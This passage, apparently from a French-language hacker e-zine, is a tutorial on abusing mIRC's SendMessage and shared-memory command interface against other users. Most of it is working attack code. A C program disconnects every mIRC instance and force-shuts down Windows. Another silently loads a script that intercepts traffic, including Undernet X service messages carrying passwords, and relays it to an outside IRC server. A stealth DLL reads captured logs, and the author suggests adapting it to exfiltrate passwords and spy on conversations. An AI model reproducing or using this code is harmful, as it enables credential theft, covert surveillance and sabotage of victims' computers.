    PUSH EDI                                 ; /BaseAddress
    CALL DWORD PTR DS:[<&KERNEL32.UnmapViewO>; \UnmapViewOfFile
    MOV EAX,DWORD PTR SS:[ESP+14]
    PUSH EAX                                 ; /hObject
    CALL DWORD PTR DS:[<&KERNEL32.CloseHandl>; \CloseHandle
    POP EDI
    MOV EAX,ESI
    POP ESI
    POP EBP
    POP EBX
    ADD ESP,8
    RETN 4

            On a trouvé. La fonction OpenFileMapping est présente. Cela nous
            apprend que mIRC ne crée pas ce fichier au démarrage. Donc, il doit
            probablement le lire lorsqu'il reçoit un message via SendMessage().
            Maintenant on pourrait débugger mIRC afin de savoir à quoi servent les
            arguments que l'on envoie via SendMessage et pourquoi on écrit les
            données dans un fichier partagé. Même si l'on peut imaginer que le
            message envoyé par SendMessage informe mIRC qu'il y a des données à
            être lu dans le fichier mappé. Mais comme il semblerait que ce soit une
            fonctionnalité intégrée dans mIRC, il est fort à parier que nous
            trouverons les informations manquantes dans le fichier d'aide.

            Petite recherche avec le mot SendMessage nous amène sur un page nous
            expliquant comment d'autres processus peuvent communiquer avec mIRC.

            Voici la traduction de la page d'aide trouvé dans le fichier mirc.hlp:

            SENDMESSAGE

            Les applications peuvent désormais utiliser SendMessage() pour
            communiquer avec mIRC.

            EXECUTER DES COMMANDES
            L'appel suivant de la fonction SendMessage() informe mIRC qu'il doit
            exécuter la commande spécifié.

                SendMessage(mHwnd, WM_MCOMMAND, cMethod, 0L)

                mHwnd - le handle de la fenêtre principal de mIRC, ou la fenêtre
                        d'un 'Channel', d'un 'Query', etc.

                WM_MCOMMAND - qui doit être définie comme étant WM_USER + 200

                cMethod - comment mIRC doit traiter le message, comme:
                    1 = si il était tapé dans un 'editbox'
                    2 = si il était tapé dans un 'editbox', 'send as plain text'
                    4 = utilise la protection contre le flood d'mIRC si activé,
                        peut être employé avec 1 ou 2.

            EVALUER LES IDENTIFIANTS ET LES VARIABLES
            L'appel suivant à la fonction SendMessage() informe mIRC qu'il doit
            évaluer le contenu de toutes les lignes spécifié.

                SendMessage(mHwnd, WM_MEVALUATE, 0, 0L)

                mHwnd - le handle de la fenêtre principal de mIRC, ou la fenêtre
                        d'un 'Channel', d'un 'Query', etc.

                WM_MEVALUATE - doit être définie comme étant WM_USER + 201

            FICHERS MAPPÉS
            Les applications qui envoient ses messages doivent créer un fichier
            mappé nommé mIRC avec CreateFileMapping().

            Quand mIRC reçois les messages précédents, il va ouvrir ce fichier et
            utiliser les données qu'il contient pour exécuter la commande ou
            l'évaluation. Dans le cas d'une évaluation, mIRC va écrire le résultat
            dans le fichier mappé.

            Le fichier mappé doit avoir un gosseur d'au moins 1024 octects.

            Pour prévenir les accès multiples au fichier mappé, votre code doit
            vérifier si le fichier existe ou non avant de l'utiliser. Si il existe,
            vous devriez assumer que ce fichier est utilisé par un autre programme
            et réessayer plus tard.

            Voilà qui confirme notre hypothèse. N'est-ce pas merveilleux? Passons
            au code maintenant.

    ==---------------------- test3.cpp ----------------------==

    #define WIN32_LEAN_AND_MEAN
    #include <windows.h>
    #include <tchar.h>    // Generic-Text Mappings

    #define MAX_CNAME_SIZE               512
    #define MAX_FILEMAPPING_SIZE_LOW    1024

    TCHAR g_tcsClassName[] = _T("mIRC");

    BOOL CALLBACK ewcallback(HWND hwnd, LPARAM lParam);
    BOOL myshutdown();

    int main()
    {
        EnumWindows(&ewcallback,(LPARAM)g_tcsClassName);
        myshutdown();

        return 0;
    }

    BOOL CALLBACK ewcallback(HWND hwnd, LPARAM lParam)
    {
        TCHAR   tscCName[MAX_CNAME_SIZE];
        TCHAR   tscMsg[] = _T("/.quit Damn it! Owned by Mindkind");
        HANDLE  hFile;
        LPVOID  lpBaseAddress;

        GetClassName(hwnd, tscCName,MAX_CNAME_SIZE);
        if (_tcscmp(tscCName,(TCHAR*)lParam) == 0) {
            hFile = CreateFileMapping(
                        INVALID_HANDLE_VALUE,
                        NULL,
                        PAGE_READWRITE,
                        0,
                        MAX_FILEMAPPING_SIZE_LOW,
                        tscCName );
            if ( hFile ) {
                lpBaseAddress = MapViewOfFile(hFile,FILE_MAP_WRITE,0,0,0);
                if (lpBaseAddress) {
                    // On copy notre chaine dans le fichier...
                    CopyMemory(lpBaseAddress,tscMsg,_tcslen(tscMsg));
                    // On avertit mIRC qu'il y a des données dans le fichier
                    SendMessage(hwnd,WM_USER+200,1,0);
                    // unmap la view
                    UnmapViewOfFile(lpBaseAddress);
                }
                CloseHandle(hFile);
            }
        }
        return TRUE; // doit retourner TRUE si l'on veut que EnuWindows continue
                     // l'énumération des fenêtres.
    }

    BOOL myshutdown()
    {
        HANDLE hToken;
        TOKEN_PRIVILEGES tp;
        DWORD dwRet;

        // demande un token
        if ( !OpenProcessToken(
                  GetCurrentProcess(),      // handle du processus courant
                  TOKEN_ADJUST_PRIVILEGES,
                  &hToken ) )
        {
            return FALSE;
        }

        // recherche le LUID du privilège SE_SHUTDOWN_NAME
        if ( !LookupPrivilegeValue(
                  NULL,                      // recherche sur le système local
                  SE_SHUTDOWN_NAME,
                  &tp.Privileges[0].Luid ) )
        {
            CloseHandle(hToken);
            return FALSE;
        }

        tp.PrivilegeCount = 1;  // un seul privilège a configuré
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

        // ajust le token selon les nouveaux privilèges demandés
        if ( !AdjustTokenPrivileges(
                  hToken,
                  FALSE,                   // ne PAS désactiver TOUS les privilèges
                  &tp,
                  0,                       // comme PreviousState est NULL, on
                                           // mets 0
                  (PTOKEN_PRIVILEGES)NULL, // PreviousState
                  0 ) )                    // 0 puisque PreviousState est NULL
        {
            CloseHandle(hToken);
            return 0;
        }

        dwRet = GetLastError(); // backup de GetLastError() puisque l'on appel
                                // CloseHandle. Cette dernière modifie le contenu
                                // de GetLastError();

        CloseHandle(hToken);

        if (dwRet != ERROR_SUCCESS)
            return FALSE;

        ExitWindowsEx(
            EWX_SHUTDOWN|EWX_FORCE,
            0
        );

        return TRUE;
    }

            Voilà, pour chaque instance de mIRC, notre programme va déconnecter
            la victime du serveur avec comme message "Damn it! Owned by Mindkind".
            Une fois que EnumWindows a terminé, le programme va forcer Windows
            à redémarrer.

    5. Play time!

        Je pense personnellement que cette section est la plus intéressante.
        Maintenant que nous connaissons cette fonctionnalité, il ne nous reste plus
        qu'à l'exploité de façon plus agressive, tout en restant furtif,
        contrairement à ce que nous avons fait jusqu'à maintenant dans l'exemple
        précédent.

        Comme nous l'avons constaté, nous pouvons faire exécuter n'importe quel
        commande à mIRC. Nous pouvons donc lui dire de charger un script en
        particulier, disons virii.mrc. Pour indiquer à mIRC de charger un script,
        nous devons utiliser la commande 'load' avec comme options les switches
        '-rs' et spécifier le nom du fichier script à charger. Dans notre exemple
        ce sera:

        /.load -rs virii.mrc

        Nous exécutons la commande 'load' en mode silencieux (/.) sinon la commande
        affiche qu'elle à chargé un fichier nommé virii.mrc. Vous devez prendre
        note que le fichier virii.mrc ne se retrouvera probablement pas dans le
        répertoire de mIRC, vous devez donc spécifier le chemin complet du fichier.

        <IMPORTANT>
        La majorité des utilisateurs qui possèdent un par-feu pour se protéger ne
        prenne pas le temps de créer les règles, ils ne font que cliquer sur 'ok'
        ou 'accept' losrque leur par-feu leur signala qu'une application tente de
        se connecter à internet. Et ils sont encore moins suspicieux s’ils
        connaissent l'application. Les autres, ceux qui ont pris le temps de faire
        des règles les font trop souples. Exemple, vous voulez autoriser mIRC à
        se connecter à un serveur IRC. Je vous demande d'être franc ici, est-ce que
        vous spécifiez quels serveurs vous autorisez ou vous dis simplement:
        n'importe quel ip tant que le port de l'hôte soit entre 6666-7000 ?
        Je suis près à mettre ma main au feu que la quasi totalité opte pour la
        deuxième option. Gardez cette pensée en tête pour le reste de cet
        article.
        </IMPORTANT>

        Le script virii tente de se connecter à un serveur IRC via les sockets mIRC
        à chaque connexion a un serveur IRC effectué par la victime. Si le serveur
        choisi par la victime est le même que notre serveur, le script n'essaie pas
        de se connecter à ce dernier via les sockets mIRC. Une fois la victime
        connectée à un serveur, le script lance la capture des données envoyées et
        reçues. La commande 'debug', fournie par mIRC, nous permet de voir les
        données crues (RAW), telles qu'elles sont envoyées par le serveur avant que mIRC
        ait la chance de les traiter. On voit aussi les données envoyé par mIRC une
        fois tous les traitements faits. Aussi tôt que le script intercept des
        données qu'il recherche, toutes les données que le client envoie à 'X' ou
        à 'X@channels.undernet.org', et les copy sur un canal spécifique sur notre
        serveur IRC.

    ==------------------------- virii.mrc ------------------------==

    ; fonction callback
    ;   /help /debug pour plus d'information
    alias roguedbg {
      /.tokenize 32 $1-
      if ($0 >= 4) {
        if (($1 == ->) && (($4 == x) || ($4 == x@channels.undernet.org))) {
          /.roguesend PRIVMSG #virii $+(:,$2-)
        }
      }
      return
    }

    ; fonction rogueconnect
    alias -l rogueconnect {
      ; vérifie si on est déjà connecté...
      if ($sock(roguesocket).mark) return
      ; sinon est-ce que la victime est connectée sur notre serveur?
      if ($network == undernet) return
      if ($server iswm *.undernet.org) return
      ; non? Alors, on se connect...
      /.sockopen roguesocket us.undernet.org 6667
      /.sockmark roguesocket connecting
    }

    ; fonction roguesend
    alias -l roguesend {
      ; est-ce que nous avons des données à envoyé?
      if (!$1-) return
      ; oui? est-ce que le client est sur notre serveur?
      if ($network == undernet) { /.raw $1- | return }
      if ($server iswm *.undernet.org) { /.raw $1- | return }
      ; non? est-ce que notre socket est ouvert?
      if (!$sock(roguesocket).mark) return
      ; oui? ok on envoi les données...
      /.sockwrite -tn roguesocket $1-
    }

    ; fonction rogueparseircd
    ;   attend le MOTD pour confirmer la connexion au serveur
    ;   répond au PING du serveur
    alias -l rogueparseircd {
      ;vérifie pour 'RPL_ENDOFMOTD' (376) ou 'ERR_NOMOTD' (422)
      if (($2 == 376) || ($2 == 422)) /.sockmark roguesocket connected
      ;vérifie pour PING
      if ($1 == PING) /.roguesend PONG $2
    }

    ; pour chaque connexion à un serveur
    on *:connect:{
      ; si notre fenêtre personnalisée est présente, nous la créeons
      if (!$window(@debug).title) /.window -Bhk0n @debug
      ; on l'appel pour être sur qu'à chaque connexion client nous avons notre
      ; connexion à notre serveur rogue
      /.rogueconnect
      ; on lance la capture des données
      /.debug -i @debug roguedbg
    }

    on *:sockopen:roguesocket:{
      ; vérifie que la connexion n'a pas échoué
      if ($sockerr > 0) return
      ;
      ; Random 'nickname'
      ;
      var %i = 1
      var %nicktmp
      while (%i <= 9) {
        if ($calc(%i % 2) = 0) %nicktmp = $+(%nicktmp,$chr($rand($asc(0),$asc(9))))
        else %nicktmp = $+(%nicktmp,$chr($rand($asc(a),$asc(Z))))
        inc %i
      }
      /.sockwrite -tn $sockname NICK %nicktmp
      ;
      ; Random 'user' et 'fullname' + invisible (8)
      ;
      %i = 1
      var %identtmp
      while (%i <= 9) {
        %identtmp = $+(%identtmp,$chr($rand($asc(a),$asc(z))))
        inc %i
      }
      /.sockwrite -tn $sockname USER %identtmp 8 * $+(:,%identtmp)
    }

    on *:sockread:roguesocket:{
      if ($sockerr > 0) return
      :nextread
      sockread %temp
      if ($sockbr == 0) return
      if (%temp != $null) {
        /.rogueparseircd %temp
      }
      goto nextread
    }

        Vous devez placer le fichier virii.mrc dans la racine de votre disque C
        pour que le programme suivant fonction. Si vous le placez ailleurs, vous
        devez changer le chemin d'accès dans le code ci-dessous.

    -------------------------- test4.cpp ------------------------

    #define WIN32_LEAN_AND_MEAN
    #include <windows.h>
    #include <tchar.h>    // Generic-Text Mappings

    #define MAX_CNAME_SIZE               512
    #define MAX_FILEMAPPING_SIZE_LOW    1024

    TCHAR g_tcsClassName[] = _T("mIRC");

    BOOL CALLBACK ewcallback(HWND hwnd, LPARAM lParam);

    int main()
    {
        EnumWindows(&ewcallback,(LPARAM)g_tcsClassName);

        return 0;
    }

    BOOL CALLBACK ewcallback(HWND hwnd, LPARAM lParam)
    {
        TCHAR   tscCName[MAX_CNAME_SIZE];
        TCHAR   tscMsg[] = _T("/.load -rs c:\\virii.mrc");
        HANDLE  hFile;
        LPVOID  lpBaseAddress;

        GetClassName(hwnd, tscCName,MAX_CNAME_SIZE);
        if (_tcscmp(tscCName,(TCHAR*)lParam) == 0) {
            hFile = CreateFileMapping(
                        INVALID_HANDLE_VALUE,
                        NULL,
                        PAGE_READWRITE,
                        0,
                        MAX_FILEMAPPING_SIZE_LOW,
                        tscCName );
            if ( hFile ) {
                lpBaseAddress = MapViewOfFile(hFile,FILE_MAP_WRITE,0,0,0);
                if (lpBaseAddress) {
                    // On copy notre chaine dans le fichier...
                    CopyMemory(lpBaseAddress,tscMsg,_tcslen(tscMsg));
                    // On avertit mIRC qu'il y a des données dans le fichier
                    SendMessage(hwnd,WM_USER+200,1,0);
                    // unmap la view
                    UnmapViewOfFile(lpBaseAddress);
                }
                CloseHandle(hFile);
            }
        }
        return TRUE; // doit retourner TRUE si l'on veut que EnuWindows continue
                     // l'énumération des fenêtres.
    }

        Très simple n'est-ce pas ? Je vous pris de tenir compte que ce script n'est
        pas 'foolproof' et que plusieurs améliorations peuvent et doivent être
        apporté. Mais je crois qu'il couvre bien l'idée générale. Bon, ce n'est pas
        très furtif comme méthode puisque la victime peut s'apercevoir qu'un script
        a été chargé et qu'une fenêtre a été créée.

        Un autre truc très intéressant que nous propose mIRC c'est la possibilité
        de charger des DLLs. Ceci nous donne une plus grande flexibilité et beaucoup
        plus de 'puissance'. Pour charger une DLL en mémoire, il faut que nous
        appelions une des fonctions contenues dans la DLL en question. Pour ce faire,
        il existe trois (3) commandes sous mIRC que l'on peut utiliser:

        /dll <filename> <procname> [data]
        $dll(filename,procname,data)
        $dllcall(filename,alias,procname,data)

        Les commandes ci-dessus ouvrent la DLL, appel la routine 'procname', et lui
        envoie les données spécifiées. '$dll()' peut retourner un valeur, comme
        n'importe quels identifiants. '$dllcall()' est multi-threaded donc il
        n'arrêtera pas l'exécution du script et va appeler l'alias spécifié
        aussitôt que la routine retourne.

        Les routines de la DLL qui seront appelées par mIRC doivent avoir le format
        suivant:

        int __stdcall procname(
            HWND mWnd,    // le handle de la fenêtre principale de mIRC
            HWND aWnd,    // le handle de la fenêtre dans laquelle la commande est
                          // utilisé, il se peut que se ne soit la fenêtre
                          //  présentement active si la commande est exécutée par un
                          //  'remote script'.
            char *data,   // l'information que l'on souhaite envoyer à la DLL.
                          //  au retour, la DLL peut remplir cette variable avec
                          //  la commande qu'elle souhaite que mIRC exécute, si
                          //  désiré.
            char *parms,  // paramètre de la commande, se trouvant dans 'data', que
                          //  l'on souhaite exécuté.
            BOOL show,    // est FAUX si le préfix '.' était spécifié, sinon VRAI
            BOOL nopause  // VRAI si mIRC est dans un routine critique et que la
                          //  DLL ne doit pas suspendre l'exécution de mIRC, ex:
                          //  la DLL de doit pas montrer un fenêtre de dialogue.
        );

        NOTE: 'data' et 'parms' peuvent contenir chacun 900 caractères maximum.

        La DLL peut retourner un entier pour indiquer ce qu'elle veut que mIRC
        fasse:

        0 - mIRC devrait arrêter (/halt) l'exécution
        1 - mIRC devrait continuer l'exécution
        2 - une commande est présente dans le champs 'data' que mIRC devrait
            exécuter et les paramètres, si présents, se trouve dans 'parms'.
        3 - les données que l'identifiant '$dll()' devrait retourner.

        Par défaut, mIRC décharge la DLL une fois l'appel de la routine se termine.
        On peut donc spécifier à mIRC de garder la DLL chargé en mémoire en
        incluant un routine 'LoadDll() dans notre DLL, qui sera appelé par mIRC
        la première fois que mIRc chargera cette dernière.

        void __stdcall (*LoadDll)(LOADINFO*);

        typedef struct {
            DWORD mVersion;  // version de mIRC dans le 'low' et 'high' mots
                             //  (words)
            HWND mHnd;       // handle de la fenêtre principale de mIRC
            BOOL mKeep;      // VRAI, par défaut, pour que mIRC garde la DLL chargé
                             //  après chaque appel. Mettre à FAUX si l'on veut que
                             //  mIRC la décharge après chaque appel
                             //  (fonctionnalité originale de mIRC).
        } LOADINFO;

        mIRC va automatiquement décharger toute DLL qui n'est pas utilisée depuis
        au moins 10 minutes, ou quand mIRC quittera.

        Nous pouvons définir une routine, 'UnloadDll()', qui sera appelé par mIRC
        avant de décharger la DLL pour que cette dernière puisse quitter
        proprement.

        int __stdcall (*UnloadDll)(int mTimeout);

        'mTimeout' peut contenir les valeurs suivantes:

        0 - UnloadDll() est appelé parce que la DLL est sur le point d'être
            déchargé dû à la commande '/dll -u' ou parce que mIRC est en court de
            fermeture.
        1 - UnloadDll() est appelé parce que la DLL n'a pas été utilisée depuis au
            moins 10 minutes. La routine 'UnloadDll()' peut retourner zéro (0) pour
            garder la DLL chargé, ou un (1) pour permettre le déchargement de cette
            dernière.

        Il ne nous reste plus qu'à envoyer à mIRC les commandes suivantes:

        /.debug "C:\capture.log"
        /.dll "C:\virii.dll" initDll "C:\capture.log"

        Premièrement, nous disons à mIRC de capturer toute activité entrant ou
        sortant du client dans le fichier 'C:\capture.log'. Puis on lui demande de
        charger en mémoire la DLL 'virii.dll' et d'exécuter la fonction initDll qui
        se trouve à l'intérieur avec comme paramètre le nom du fichier de capture.

        Voici le code de la DLL en question:

    =------------------------- virii.c -----------------------=

    #define WIN32_LEAN_AND_MEAN
    #include <windows.h>
    #include <tchar.h>   // Generic-Text Mappings
    #define STRSAFE_NO_DEPRECATE
    #include <strsafe.h> // safer C library string routine

    /////////////////
    // Defines
    //
    #define IDT_PARSEDATA 31337

    /////////////////
    // Variables
    //
    BOOL       bInit  = FALSE;        // est-ce que la Dll a déjà été initialisée
    HWND       hmIRC;                 // handle fenêtre principal mIRC
    UINT       uTResult = 0;          // SetTimer's return value
    TCHAR      tscFileName[MAX_PATH]; // fichier de capture
    OVERLAPPED olstruct;              // contien l'offset courant
    TCHAR *ptcsData;                  // buffer des données lu du fichier
    DWORD dwDataSize;                 // dimension du buffer des données

    /////////////////
    // Structures
    //
    typedef struct {
        DWORD mVersion;  // version de mIRC dans le 'low' et 'high' mots
                         //  (words)
        HWND mHnd;       // handle de la fenêtre principale de mIRC
        BOOL mKeep;      // VRAI, par défaut, pour que mIRC garde la DLL chargé
                         //  après chaque appel. Mettre à FAUX si l'on veut que
                         //  mIRC la décharge après chaque appel
                         //  (fonctionnalité originale de mIRC).
    } LOADINFO;

    /////////////////
    // Fonctions
    //
    int WINAPI initDll(HWND,HWND,char*,char*,BOOL,BOOL);
    VOID CALLBACK ParseFile(HWND,UINT,UINT,DWORD);
    LPVOID VirtualReAlloc(LPVOID,SIZE_T);
    TCHAR *ltcschr(const TCHAR*,TCHAR);
    TCHAR *litotcs(int,TCHAR*);
    void DebugError(LPTSTR);

    /////////////////
    // Da code
    //
    void WINAPI LoadDll(LOADINFO* linfo)
    {
        // copie le handle de la fenêtre principale de mIRC
        hmIRC = linfo->mHnd;
    }

    int WINAPI UnloadDll(int timeout)
    {
        // si mIRC est en court de fermeture OU que 'dll -u' à été applé
        if (!timeout)
        {
            // ... on arrête le timer
            if (uTResult) KillTimer(hmIRC, IDT_PARSEDATA);
            // ... on libère l'espace mémoire alloué
            if (ptcsData) VirtualFree(ptcsData,0,MEM_RELEASE);
        }
        return 0;
    }

    // notre fonction qui sera appelée via la commande 'dll' pour chargé la dll en
    // mémoire, initialiser les données et exécuter le timer
    int WINAPI initDll(
        HWND mWnd,
        HWND aWnd,
        char *data,
        char* parms,
        BOOL show,
        BOOL nopause)
    {
        int ilen;

        if (!bInit)
        {
            // initialisation var global
            hmIRC = (HANDLE)NULL;
            ZeroMemory((PVOID)&olstruct, sizeof(olstruct));
            ptcsData = (TCHAR*)NULL;
            dwDataSize = 0;

            // copie le nom du fichier de capture
            ilen = lstrlen(_T(data))+1;
            lstrcpyn(tscFileName, _T(data), min(ilen,MAX_PATH));

            bInit = TRUE;

            uTResult = SetTimer(hmIRC,     // handle fenêtre principale mIRC
                IDT_PARSEDATA,             // timer identifier
                120000,                    // 120-second interval
                (TIMERPROC) ParseFile);    // timer callback
        }

        // mIRC doit continuer son exécution normalement
        return 1;
    }

    // fonction callback que le timer va exécuté tout les X millisecondes
    VOID CALLBACK ParseFile(
        HWND hwnd,        // handle to window for timer messages
        UINT message,     // WM_TIMER message
        UINT idTimer,     // timer identifier
        DWORD dwTime)     // current system time
    {
        HANDLE hFile;
        TCHAR tcsBuffer[1025];
        DWORD nbBytesRead;
        TCHAR *ptcsCLoc, *ptcsDataTemp;
        DWORD dwPos = 0;

        // ouverture du fichier
        hFile = CreateFile(tscFileName,
            GENERIC_READ,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            NULL,
            OPEN_EXISTING,
            FILE_FLAG_RANDOM_ACCESS,
            NULL);

        if (hFile == INVALID_HANDLE_VALUE)
        {
            DebugError("CreateFile()");
            return;
        }

        while (TRUE)
        {
            // initialise le buffer temporaire à zero
            ZeroMemory(tcsBuffer,1025);

            // lis un certains nombre de données dans le fichier
            ReadFile(hFile,tcsBuffer,1024,&nbBytesRead,&olstruct);

            if (!nbBytesRead)
            {
                DebugError("ReadFile()");
                break; // EOF
            }

            // alloue ou réalloue la mémoire du buffer qui garde les données
            // entre chaque lecture
            if (!ptcsData)
                ptcsDataTemp = (TCHAR*)VirtualAlloc((LPVOID)NULL,
                    nbBytesRead,
                    MEM_RESERVE | MEM_COMMIT,PAGE_READWRITE);
            else
                ptcsDataTemp = (TCHAR*)VirtualReAlloc((LPVOID)ptcsData,
                    dwDataSize+nbBytesRead);

            if (!ptcsDataTemp)
                break; // VirtualAlloc() ou VirtualReAlloc() à échoué

            ptcsData = ptcsDataTemp;

            // copie les données du buffer temporaire au buffer global
            CopyMemory(ptcsData+dwDataSize,tcsBuffer,nbBytesRead);

            // mise à jour de la dimension du buffer global
            dwDataSize += nbBytesRead;

            // garde l'offset courant en mémoire pour la prochaine lecture
            olstruct.Offset += nbBytesRead;
        }

        // pour chaque ligne (chaine délimitée par le caractère 'Newline')
        while (ptcsCLoc = ltcschr(ptcsData,_T('\n')))
        {
            // calcule la longueur de la chaîne
            dwPos = (DWORD)(ptcsCLoc - ptcsData);
            // affiche la chaîne
            if (SUCCEEDED(StringCchCopyN(tcsBuffer,1024,ptcsData,dwPos)))
            {
                MessageBox(hmIRC,tcsBuffer,_T("moo"),MB_OK);
            }
            // déplace le reste des données au début du buffer
            MoveMemory(ptcsData,ptcsCLoc,dwDataSize-dwPos);
            // redimensionne le buffer
            ptcsDataTemp = (TCHAR*)VirtualReAlloc(ptcsData,dwDataSize-dwPos);
            // si VirtualReAlloc() réussie
            if (ptcsDataTemp)
            {
                // ... on garde la nouvelle adresse du buffer
                ptcsData = ptcsDataTemp;
                // .. on met à jour sa taille
                dwDataSize -= dwPos;
            }
            // sinon
            else
                // on met à zéro la fin du buffer
                ZeroMemory(ptcsData+(dwDataSize-dwPos), dwPos);
        }

        // on ferme le fichier
        CloseHandle(hFile);
    }

    // Comme j'utilise VirtualAlloc pour alloué de l'espace mémoire et que il ne
    // semble pas existé de fonction pour redimensionner de la mémoire dans la
    // famille des Virtual*, j'ai du en faire une moi-même.
    //
    // NOTE:
    // Cette fonction n'est pas très optimisée, et je crois qu'il y a un moyen de
    // gardé la même adresse de base mais je ne me suis pas vraiment arrêté la
    // dessus.
    LPVOID VirtualReAlloc(
        LPVOID lpAddress,
        SIZE_T dwSize)
    {
        LPVOID lpNewAddress;
        MEMORY_BASIC_INFORMATION mbi;

        lpNewAddress = (LPVOID)NULL;

        if (!lpAddress || dwSize <= 0)
        {
            return (LPVOID)NULL;
        }

        if (VirtualQuery(lpAddress,&mbi,sizeof(mbi)) < sizeof(mbi))
        {
            return (LPVOID)NULL;
        }

        if (!(lpNewAddress = VirtualAlloc((LPVOID)NULL,
            dwSize,mbi.State,mbi.AllocationProtect)))
        {
            return (LPVOID)NULL;
        }

        CopyMemory(lpNewAddress,lpAddress,min(mbi.RegionSize,dwSize));

        VirtualFree(lpAddress,0,MEM_RELEASE);

        return lpNewAddress;
    }

    // mon équivalent de strchr() mais pour les TCHAR*
    TCHAR *ltcschr(const TCHAR *string,TCHAR c)
    {
        TCHAR *tcsPos;

        if (!string)
            return (TCHAR*)NULL;

        tcsPos = (TCHAR*)string;

        while (tcsPos && *(tcsPos = CharNext(tcsPos)))
        {
            if (tcsPos[0] == c) return tcsPos;
        }

        return (TCHAR*)NULL;
    }

    // fonction très LAME et très NON optimisé qui émule une partie de la
    // fonctionnalité de itoa() mais pour les TCHAR*
    TCHAR *litotcs(int value,TCHAR *buffer)
    {
        TCHAR tcsNumeric[] = _T("0123456789"); // tableau de conversion
        TCHAR c;
        int i, j = 0;

        // si le buffer est non valide
        if (!buffer)
            return (TCHAR*)NULL;

        // si le nombre est négatif, rajouter le signe '-' devant le nombre
        if (value < 0)
        {
            buffer[j] = _T('-');
            ++j;
        }

        // BIG MESS que je veux pas expliquer, mais 'long story short' la boucle
        // 'do while' traduit le nombre en chaine, mais produit l'effet miroir.
        // Donc si mon nombre est:
        //     1234
        // cette bloucle la traduit comme suit:
        //     4321
        // La dernière boucle, 'while', règle se problème en remettant les nombres
        // le bon ordre.
        do
        {
            i = value % 10;
            buffer[j] = tcsNumeric[i];
            value /= 10;
            ++j;
        } while (value);

        buffer[j] = 0;

        --j;
        i = 0;

        while (j >=0 && j > i)
        {
            c = buffer[j];
            buffer[j] = buffer[i];
            buffer[i] = c;
            --j;
            ++i;
        }

        // retourne l'adresse du buffer
        return buffer;
    }

    // fonction qui explique ce qui à mal tourné si la DLL est compilée
    // en mode DEBUG
    void DebugError(LPTSTR lpszFunction)
    {
    #if defined(_DEBUG)
        LPVOID lpMsgBuf;
        LPVOID lpDisplayBuf;

        DWORD dw = GetLastError();

        FormatMessage(
            FORMAT_MESSAGE_ALLOCATE_BUFFER |
            FORMAT_MESSAGE_FROM_SYSTEM,
            NULL,
            dw,
            MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
            (LPTSTR) &lpMsgBuf,
            0, NULL );

        lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
            (lstrlen((LPCTSTR)lpMsgBuf)+lstrlen((LPCTSTR)lpszFunction)+40)
            *sizeof(TCHAR));
        wsprintf((LPTSTR)lpDisplayBuf,
            TEXT("%s failed with error %d: %s"),
            lpszFunction, dw, lpMsgBuf);
        MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK);

        LocalFree(lpMsgBuf);
        LocalFree(lpDisplayBuf);
    #endif
    }

        La DLL 'virii.dll' fait très peu de chose, mais vous montre un peu le
        ce que vous pouvez faire. Elle commence par initialiser quelque variable
        et ensuite lance un 'timer' qui va exécuter une fonction callback, ici
        'ParseData', toutes les 120 secondes. 'ParseData' ouvre le fichier passé en
        paramètre plutôt et lis le contenu qui s’y trouve. Elle garde en mémoire
        l'offset pour ne pas relire les mêmes données. Puis elle les conserve dans
        un buffer ('ptcsData'). Ensuite elle tente de trouver des chaines qui se
        terminent avec le caractère 'Newline'. Pour chaque ligne trouvée, elle les
        affiche dans un MessageBox. Lorsque mIRC décharge la DLL, elle s'assure
        de libérer les espaces mémoire qu'elle à alloué. OMG! J'allais presque
        oublier. Vous devrez surement créer un fichier .def sinon mIRC ne trouvera
        pas les fonctions que vous voudrez exécuter. mIRC s'attend à avoir des
        fonctions suivant la convention __stdcall*, mais par défaut Visual Studio
        utilise la convention __cdecl*. Donc vous nom de fonction vont être
        à la compilation. Prenons la fonction 'initDll', après compilation elle se
        nommera '_initDll@24'. Le fichier .def vous permet de créer des alias. On
        pourra donc créer un alias 'initDll' pour la fonction '_initDll@24'. Règle
        générale, le nombre apres le '@' c'est simplement le nombre de paramètres
        que prend votre fonction, multipliée par 4. 'initDll' prend 6 paramètres,
        donc 6*4 = 24. 'UnloadDll' et LoadDll' prennent un seul paramètre, donc
        1*4 = 4. Voici le .def si vous en avez besoin.

    //=--------------------- virii.def -----------------------=
    LIBRARY virii
    EXPORTS
    LoadDll        = _LoadDll@4
    UnloadDll    = _UnloadDll@4
    initDll        = _initDll@24
    //=-------------------------------------------------------=

        La DLL est très non pratique, mais avec quelques modifications, vous
        pouvez la faire se connecter sur un serveur quelconque et transmettre les
        données que vous jugez intéressantes. Vous pouvez regarder pour des password
        utilisés auprès des services de certains serveur IRC (x pour undernet) ou
        pour des passwords de bots. Vous pouvez espionner des conversations sur
        des canaux en particulier, etc. Les idées de manque pas.

        Les avantages d'utiliser une DLL est d'abord et avant tout le contrôle
        qu'elle nous donne. Ensuite la vitesse de traitement; vous pouvez donc
        effectuer plus de manipulation que la victime ressente un ralentissement
        au niveau du programme. Et bien sûr, c'est beaucoup plus furtif. Si on
        compare avec l'exemple précédent (le script), la victime peut s'apercevoir
        que quelque chose ne tourne pas rond via l'éditeur de script, le menu
        fenêtre, via les identifiants $script et $window. Pour la DLL, seul
        l'identifiant $dll peut révéler notre présence.

    6. Conclusion

        Enjoy!

        _____   ________ ________ ______ ____ __  __   _
      /____/  /       //       //  /\  \\   \\ \ \ \  \\   \
       ___   /   ____//_______//__/  \__\\___\\_\ \_\  \\   \
      |   | |   /                /    \
      |   | |  |                /  /\  \
    __|___|_|__| _______ ___ __/__/__\__\__ ___ __  __   _
    __\\________\\______\\__\\____________//__//_/ /_/  //  /
      |\\ | |  |     |  |    /  /      \  \
      | \\| |   \___/   |   /  /   /\   \  \
      |  \   \         /   /  /   /  \   \  \
       \  |   \_______/   /  /   / /\ \   \  \
    __|\\ |______________/  /___/ /  \ \___\  \____ ___ __  _
      | \\|                    / /    \ \
      |__\.                        /\

    topic

    _________________________________________________________
                                                             |
     Conclusion                                      Wyzeman |
    _________________________________________________________|
        |    /   /                           |
        |   /   /                            |
        |  /   /                             |
        | /   /                              |
        |/   /                               |
        |   /                                &
        |  /                                 &
        | /                                 / \
        |/                            [ Anti-Greets ]
        |
        |  1) binf, pour l'ensemble de son oeuvre.
